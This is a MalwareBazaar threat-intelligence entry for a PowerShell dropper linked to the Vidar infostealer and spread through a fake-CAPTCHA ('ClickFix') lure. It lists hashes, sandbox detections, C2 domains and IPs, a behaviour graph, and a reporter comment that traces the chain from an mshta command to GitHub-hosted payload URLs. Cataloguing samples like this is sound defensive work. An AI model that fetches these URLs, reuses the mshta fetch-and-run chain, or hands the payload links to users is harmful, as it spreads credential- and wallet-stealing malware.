MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 689afb138cce81a04a517539d0b927bfd5ac8a3eb70bef2bb435d4c6b2a0b40e. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry



Vidar


Vendor detections: 8


Intelligence 8 IOCs YARA 1 File information Comments

SHA256 hash: 689afb138cce81a04a517539d0b927bfd5ac8a3eb70bef2bb435d4c6b2a0b40e
SHA3-384 hash: cfc3ce47cce8f2b9f42509b4b98ee4c4387113396f37540441d5e27fe94c4424d24be8add356a2c48086a44f66a59387
SHA1 hash: 26d87254b5ebecb505c4ba7bbcfc1e0b966096bf
MD5 hash: 98ff64416ca81ce3926e59b0b094c7cf
humanhash: lima-oranges-quebec-eight
File name:runner.txt
Download: download sample
Signature Vidar
File size:1'245 bytes
First seen:2025-01-23 19:03:33 UTC
Last seen:Never
File type:PowerShell (PS) ps1
MIME type:text/plain
ssdeep 24:xvMMGJPnHWtmr97H5elXz4+FaRxYztt6uwhQotAXKuwUnYk:pfCv289VelD4+FcGt6uwKotAsdk
TLSH T12C21412B282C1E05C5F64218FB126185EFB3E22642179D30B8FCCA586F601B88230E9E
Magika powershell
Reporter aachum
Tags:ClickFix FakeCaptcha ps1 vidar


Avatar
iamaachum
https://coodapis.com/ => mshta https://microsoft-dns-reload-5q.pages.dev # "Microsoft Windows: DNS service Reload and Restart UP => https://raw.githubusercontent.com/SashaP20/Get-Doctor/refs/heads/main/runner.txt

Intelligence


File Origin
# of uploads :
1
# of downloads :
172
Origin country :
ES ES
Vendor Threat Intelligence
Verdict:
Malicious
Score:
94.9%
Tags:
dropper sage remo
Verdict:
Suspicious
Threat level:
  5/10
Confidence:
100%
Tags:
fingerprint masquerade
Result
Verdict:
UNKNOWN
Result
Threat name:
ReverseShell, Vidar
Detection:
malicious
Classification:
troj.spyw.expl.evad
Score:
100 / 100
Signature
.NET source code contains potential unpacker
Antivirus detection for URL or domain
Attempt to bypass Chrome Application-Bound Encryption
C2 URLs / IPs found in malware configuration
Found malware configuration
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
Malicious sample detected (through community Yara rule)
Powershell drops PE file
Searches for specific processes (likely to inject)
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Silenttrinity Stager Msbuild Activity
Suricata IDS alerts for network traffic
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to steal Crypto Currency Wallets
Uses an obfuscated file name to hide its real file extension (double extension)
Writes to foreign memory regions
Yara detected Costura Assembly Loader
Yara detected Powershell download and execute
Yara detected ReverseShell
Yara detected Vidar stealer
Behaviour
Behavior Graph:
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1597978 Sample: runner.txt.ps1 Startdate: 23/01/2025 Architecture: WINDOWS Score: 100 46 tlfiyat.shop 2->46 48 t.me 2->48 50 6 other IPs or domains 2->50 80 Suricata IDS alerts for network traffic 2->80 82 Found malware configuration 2->82 84 Malicious sample detected (through community Yara rule) 2->84 86 11 other signatures 2->86 10 powershell.exe 14 27 2->10         started        15 svchost.exe 1 1 2->15         started        signatures3 process4 dnsIp5 62 lapkimeow.icu 80.64.30.238, 443, 49733 RU-KORUS-ASRU Russian Federation 10->62 64 raw.githubusercontent.com 185.199.111.133, 443, 49731 FASTLYUS Netherlands 10->64 66 ifconfig.me 34.160.111.145, 443, 49732 ATGS-MMD-ASUS United States 10->66 42 C:\Users\user\AppData\...\s4xltbnq.rm5.exe, PE32 10->42 dropped 44 C:\Users\user\AppData\...\pgu3x4ye.cmdline, Unicode 10->44 dropped 96 Powershell drops PE file 10->96 17 s4xltbnq.rm5.exe 2 10->17         started        20 csc.exe 3 10->20         started        22 conhost.exe 10->22         started        68 127.0.0.1 unknown unknown 15->68 file6 signatures7 process8 signatures9 74 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 17->74 76 Writes to foreign memory regions 17->76 78 Injects a PE file into a foreign processes 17->78 24 MSBuild.exe 28 17->24         started        28 cvtres.exe 1 20->28         started        process10 dnsIp11 58 t.me 149.154.167.99, 443, 54593 TELEGRAMRU United Kingdom 24->58 60 tlfiyat.shop 5.75.209.106, 443, 54595, 54601 HETZNER-ASDE Germany 24->60 88 Attempt to bypass Chrome Application-Bound Encryption 24->88 90 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 24->90 92 Tries to harvest and steal ftp login credentials 24->92 94 4 other signatures 24->94 30 chrome.exe 24->30         started        33 cmd.exe 1 24->33         started        signatures12 process13 dnsIp14 70 192.168.2.4, 138, 443, 49672 unknown unknown 30->70 72 239.255.255.250 unknown Reserved 30->72 35 chrome.exe 30->35         started        38 conhost.exe 33->38         started        40 timeout.exe 1 33->40         started        process15 dnsIp16 52 www.google.com 142.250.186.132, 443, 54686, 54689 GOOGLEUS United States 35->52 54 plus.l.google.com 142.250.186.142, 443, 54719 GOOGLEUS United States 35->54 56 apis.google.com 35->56
Threat name:
Win32.Dropper.Generic
Status:
Suspicious
First seen:
2025-01-23 18:39:10 UTC
File Type:
Text (PowerShell)
AV detection:
1 of 38 (2.63%)
Threat level:
  3/5
Result
Malware family:
n/a
Score:
  10/10
Tags:
discovery execution
Behaviour
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Command and Scripting Interpreter: PowerShell
System Location Discovery: System Language Discovery
Legitimate hosting services abused for malware hosting/C2
Looks up external IP address via web service
Executes dropped EXE
Blocklisted process makes network request
Downloads MZ/PE file
Malware Config
Dropper Extraction:
https://raw.githubusercontent.com/SashaP20/Get-Doctor/refs/heads/main/unins000.exe
Please note that we are no longer able to provide a coverage score for Virus Total.

YARA Signatures


MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:detect_powershell
Author:daniyyell
Description:Detects suspicious PowerShell activity related to malware execution

File information


The table below shows additional information about this malware sample such as delivery method and external references.

Web download

Vidar

PowerShell (PS) ps1 689afb138cce81a04a517539d0b927bfd5ac8a3eb70bef2bb435d4c6b2a0b40e

(this sample)

  
Delivery method
Distributed via web download

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